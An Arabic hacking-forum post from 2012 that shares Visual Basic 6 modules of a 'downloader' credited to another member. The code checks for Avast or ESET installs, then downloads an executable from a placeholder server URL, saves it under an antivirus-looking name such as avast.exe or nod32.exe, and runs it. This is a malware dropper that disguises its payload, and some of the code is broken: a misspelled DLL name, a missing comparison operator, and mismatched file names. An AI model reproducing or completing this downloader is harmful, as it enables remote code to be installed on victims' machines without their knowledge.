إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
  #1  
قديم 2012-04-12, 06:07 AM
الصورة الرمزية صوتك يناديني
| صوتك يناديني  صوتك يناديني غير متواجد حالياً

 
تاريخ التسجيل: Dec 2011
المشاركات: 5,816
صوتك يناديني is on a distinguished road
افتراضي الاكواد الغير مطروحه بموضوع اخونا بيبرس



كيفكم اخوانى

مراعاه لعدم ارهاق الجميع تم وضع الاكواد

الغير موجوده بالشرح هنا


Module1

كود:
'##############################################################
'# #
'# #
'# \\\\\DEV - POINT /// #
'# #
'# \\\\\ downloader //// #
'# #
'# ////- BY -\\\\\ #
# ///// bebers \\\\ #
'###############################################################
Option Explicit

Private Declare Function IsBadReadtr Lib "kernal32" (ByRef lp As Any, ByVal ucb As Long) As Long

Private Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbacopybytes" (ByVal size As Long, Dest As Any, Source As Any)

Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long


Sub Main()
Dim SPath As String
If Dir("C:\Program Files\Alwil Software\Avast5\avastui.exe") "" Then
Call Module2.Avast5
End If
If Dir("C:\Program Files\ESET\ESET Smart Security\egui.exe") "" Then
Call Module3.nod32
End If
End Sub
Module2

كود:
'##############################################################
'# #
'# #
'# \\\\\DEV - POINT /// #
'# #
'# \\\\\ downloader //// #
'# #
'# ////- BY -\\\\\ #
# ///// bebers \\\\ #
'###############################################################
Option Explicit

Private Declare Function ****************lExecute Lib "****************l32.dll" Alias "****************lExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Sub avast()
'your server url ----> the dirct server url -->www.url.server.exe

URLDownloadToFile 0, "your server url", "c:\avast.exe", 0, 0
****************lExecute 0, "Open", "c:\avast.exe", vbNullString, vbNullString, vbNormalFocus
End

End Sub
Module3

كود:
'##############################################################
'# #
'# #
'# \\\\\DEV - POINT /// #
'# #
'# \\\\\ downloader //// #
'# #
'# ////- BY -\\\\\ #
# ///// bebers \\\\ #
'###############################################################
Option Explicit

Private Declare Function ****************lExecute Lib "****************l32.dll" Alias "****************lExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Sub avast()
'your server url ----> the dirct server url -->www.url.server.exe

URLDownloadToFile 0, "your server url", "c:\node32.exe", 0, 0
****************lExecute 0, "Open", "c:\nod32.exe", vbNullString, vbNullString, vbNormalFocus
End

End Sub
اتمنى لكم التوفيق
لو الاكواد مشفره شباب
تم الرفع على حبيب الملايين لعيون الاعضاء
أضغط على اسمى


♥♪♥The Silence♥♪♥

لا تنسانى بدعاءك الجميل لى ولوالدى ولجميع الاخوة

................
__________________
قلبي " معك " لو شفت جسمي مع الناس...
ما غاب " طيفك "عن خيالي دقيقه ..
رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدليلية (Tags)
مطروحه, الاكواد, الغير, اخونا, بموضوع, بيبرس



جديد مواضيع قسم حمايه الاجهزه
 
أدوات الموضوع
انواع عرض الموضوع


الاكواد الغير مطروحه بموضوع اخونا بيبرس




الساعة الآن 07:37 PM


Powered by vBulletin Copyright ©2000 - 2014